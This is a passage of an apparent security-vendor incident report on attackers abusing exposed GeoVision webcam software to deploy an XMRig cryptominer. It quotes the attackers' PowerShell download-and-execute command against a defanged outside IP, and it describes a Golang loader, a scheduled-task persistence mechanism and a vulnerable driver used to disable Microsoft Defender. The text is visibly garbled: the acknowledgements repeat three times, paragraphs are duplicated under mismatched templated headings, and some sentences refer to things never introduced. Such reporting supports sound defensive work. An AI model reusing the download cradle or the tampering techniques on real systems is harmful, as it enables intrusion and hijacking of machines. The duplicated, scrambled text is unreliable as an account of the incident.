GeoVision Camera Software Abused to Deploy XMRig Cryptominer
Acknowledgements: Special thanks to Zach Rogers, Cristian Poenaru, Harry Godridge, and Tanner Filip for their contributions to the analysis and triage associated with this investigation and this writeup.
Acknowledgements: Special thanks to Zach Rogers, Cristian Poenaru, Harry Godridge, and Tanner Filip for their contributions to the analysis and triage associated with this investigation and this writeup.
The Huntress SOC observed widespread malicious activity stemming from GeoVision webcam software this week, with the bulk of the attacks occurring between November 8 and November 10.
We have seen malicious activity across ten accounts and 13 organizations (all across various industries).
Figure 2: The attack chain observed by the SOC across multiple organizations On various endpoints where this software was publicly exposed, we first saw the GeoVision service spawn a command shell: cmd.exe /c powershell -c iex (new-object net.webclient).downloadstring('hxxp://45[.]32[.]117[[.]]34/a') The command then led to the launch of various PowerShell scripts both in memory and downloaded to disk (a, b, and c) from 45.32.117[.]34.
The PS1 extension will be added to these to help with readability.
We observed a.ps1 being detonated in memory before searching for writable directories and checking if Microsoft Defender is active on the victim's environment.
All malicious activity stemmed from GeoStartupAgentService.exe; across many endpoints, the activity was run under the NT AUTHORITY\SYSTEM account.
A search on Shodan for impacted endpoints' external IPs indicated publicly exposed GeoVision devices or management interfaces.
This is a likely attempt to interfere with the launch of those components, as redirecting the launch to systray.exe can keep the intended security process from starting, depending on how the replacement is configured.
This script's main purpose was to download and execute update.exe in the current directory, which was a custom Golang loader (reaching out to 156.246.94[.]183).
The detected activity originating from this parent process exhibited a similar attack chain and dropped files across most endpoints.
Closer inspection via VirusTotal reveals this to be a Windows kernel-mode driver (wsftprm.sys) that's previously been abused in Bring Your Own Vulnerable Driver (BYOVD) attacks as a way for threat actors to tamper with antivirus protections like Microsoft Defender.
At the time of the investigation, this IP was associated with the domain cctv-update[.]top, which was registered on November 7 at 02:40 UTC.
On some endpoints, we also saw update.exe set up a scheduled task (PackageUpdater), which was configured to execute C:\WINDOWS\system32\config\systemprofile\update.exe every 15 minutes, which restarts update.exe if it stops.
What happened
Acknowledgements: Special thanks to Zach Rogers, Cristian Poenaru, Harry Godridge, and Tanner Filip for their contributions to the analysis and triage associated with this investigation and this writeup.
The Huntress SOC observed widespread malicious activity stemming from GeoVision webcam software this week, with the bulk of the attacks occurring between November 8 and November 10.
We have seen malicious activity across ten accounts and 13 organizations (all across various industries).
What changed
Figure 2: The attack chain observed by the SOC across multiple organizations On various endpoints where this software was publicly exposed, we first saw the GeoVision service spawn a command shell: cmd.exe /c powershell -c iex (new-object net.webclient).downloadstring('hxxp://45[.]32[.]117[[.]]34/a') The command then led to the launch of various PowerShell scripts both in memory and downloaded to disk (a, b, and c) from 45.32.117[.]34.
The PS1 extension will be added to these to help with readability.
We observed a.ps1 being detonated in memory before searching for writable directories and checking if Microsoft Defender is active on the victim's environment.
Who is affected
All malicious activity stemmed from GeoStartupAgentService.exe; across many endpoints, the activity was run under the NT AUTHORITY\SYSTEM account.
A search on Shodan for impacted endpoints' external IPs indicated publicly exposed GeoVision devices or management interfaces.
Why it matters
This is a likely attempt to interfere with the launch of those components, as redirecting the launch to systray.exe can keep the intended security process from starting, depending on how the replacement is configured.
This script's main purpose was to download and execute update.exe in the current directory, which was a custom Golang loader (reaching out to 156.246.94[.]183).
Technical details
The detected activity originating from this parent process exhibited a similar attack chain and dropped files across most endpoints.
Closer inspection via VirusTotal reveals this to be a Windows kernel-mode driver (wsftprm.sys) that's previously been abused in Bring Your Own Vulnerable Driver (BYOVD) attacks as a way for threat actors to tamper with antivirus protections like Microsoft Defender.
Response
At the time of the investigation, this IP was associated with the domain cctv-update[.]top, which was registered on November 7 at 02:40 UTC.
On some endpoints, we also saw update.exe set up a scheduled task (PackageUpdater), which was configured to execute C:\WINDOWS\system32\config\systemprofile\update.exe every 15 minutes, which restarts update.exe if it stops.
What to watch next
Watch for additional victim details, indicators of compromise and follow-on exploitation reports.
Watch for revised vendor guidance, fixed versions and mitigation updates.